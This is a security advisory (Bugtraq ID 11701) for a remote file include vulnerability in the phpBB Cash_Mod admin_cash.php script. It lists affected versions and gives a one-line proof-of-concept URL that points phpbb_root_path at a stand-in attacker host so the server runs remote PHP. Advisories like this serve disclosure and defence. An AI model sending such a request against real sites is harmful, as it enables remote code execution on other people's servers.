PHPBB Admin_cash.PHP Remote PHP File Include Vulnerability

BID:11701

Info

PHPBB Admin_cash.PHP Remote PHP File Include Vulnerability

Bugtraq ID: 11701
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Nov 17 2004 12:00AM
Updated: Nov 17 2004 12:00AM
Credit: Discovery of this vulnerability is credited to Jerome ATHIAS <[email protected]>.
Vulnerable: phpBB Group phpBB 2.0.10
phpBB Group phpBB 2.0.9
phpBB Group phpBB 2.0.8 a
phpBB Group phpBB 2.0.8
phpBB Group phpBB 2.0.7 a
phpBB Group phpBB 2.0.7
phpBB Group phpBB 2.0.6 d
phpBB Group phpBB 2.0.6 c
phpBB Group phpBB 2.0.6
phpBB Group phpBB 2.0.5
phpBB Group phpBB 2.0.4
phpBB Group phpBB 2.0.3
phpBB Group phpBB 2.0.2
phpBB Group phpBB 2.0.1
phpBB Group phpBB 2.0 .0
phpBB Group phpBB 2.0 RC4
- Apache Software Foundation Apache 1.3.9
- Apache Software Foundation Apache 1.3.9
phpBB Group phpBB 2.0 RC3
- Apache Software Foundation Apache 1.3.9
- Apache Software Foundation Apache 1.3.9
phpBB Group phpBB 2.0 RC2
- Apache Software Foundation Apache 1.3.9
- Apache Software Foundation Apache 1.3.9
phpBB Group phpBB 2.0 RC1
- Apache Software Foundation Apache 1.3.9
- Apache Software Foundation Apache 1.3.9
phpBB Group phpBB 2.0 Beta 1
- Apache Software Foundation Apache 1.3.9
- Apache Software Foundation Apache 1.3.9
phpBB Group phpBB 1.4.4
- Apache Software Foundation Apache 1.3.9
- Apache Software Foundation Apache 1.3.9
phpBB Group phpBB 1.4.2
- Apache Software Foundation Apache 1.3.9
- Apache Software Foundation Apache 1.3.9
phpBB Group phpBB 1.4.1
phpBB Group phpBB 1.4 .0
phpBB Group phpBB 1.2.1
phpBB Group phpBB 1.2 .0
phpBB Group phpBB 1.0 .0
Not Vulnerable:

Discussion

PHPBB Admin_cash.PHP Remote PHP File Include Vulnerability

A vulnerability is reported to exist in the phpBB Cash_Mod module that may allow an attacker to include malicious PHP files containing arbitrary code to be executed on a vulnerable system.

Remote attackers could potentially exploit this issue via a vulnerable variable to include a remote malicious PHP script, which will be executed in the context of the web server hosting the vulnerable software.

Exploit / POC

PHPBB Admin_cash.PHP Remote PHP File Include Vulnerability

No exploit is required, however the following examples have been made available:

http://www.example.com/phpBB2/admin/admin_cash.php?setmodules=1&amp;phpbb_root_path=http://bad.host/

Solution / Fix

PHPBB Admin_cash.PHP Remote PHP File Include Vulnerability

Solution:
A fix is available to address this vulnerability:


phpBB Group phpBB 1.0 .0

phpBB Group phpBB 1.2 .0

phpBB Group phpBB 1.2.1

phpBB Group phpBB 1.4 .0

phpBB Group phpBB 1.4.1

phpBB Group phpBB 1.4.2

phpBB Group phpBB 1.4.4

phpBB Group phpBB 2.0 RC1

phpBB Group phpBB 2.0 RC3

phpBB Group phpBB 2.0 RC4

phpBB Group phpBB 2.0 Beta 1

phpBB Group phpBB 2.0 RC2

phpBB Group phpBB 2.0 .0

phpBB Group phpBB 2.0.1

phpBB Group phpBB 2.0.10

phpBB Group phpBB 2.0.2

phpBB Group phpBB 2.0.3

phpBB Group phpBB 2.0.4

phpBB Group phpBB 2.0.5

phpBB Group phpBB 2.0.6

phpBB Group phpBB 2.0.6 c

phpBB Group phpBB 2.0.6 d

phpBB Group phpBB 2.0.7

phpBB Group phpBB 2.0.7 a

phpBB Group phpBB 2.0.8 a

phpBB Group phpBB 2.0.8

phpBB Group phpBB 2.0.9

References

PHPBB Admin_cash.PHP Remote PHP File Include Vulnerability

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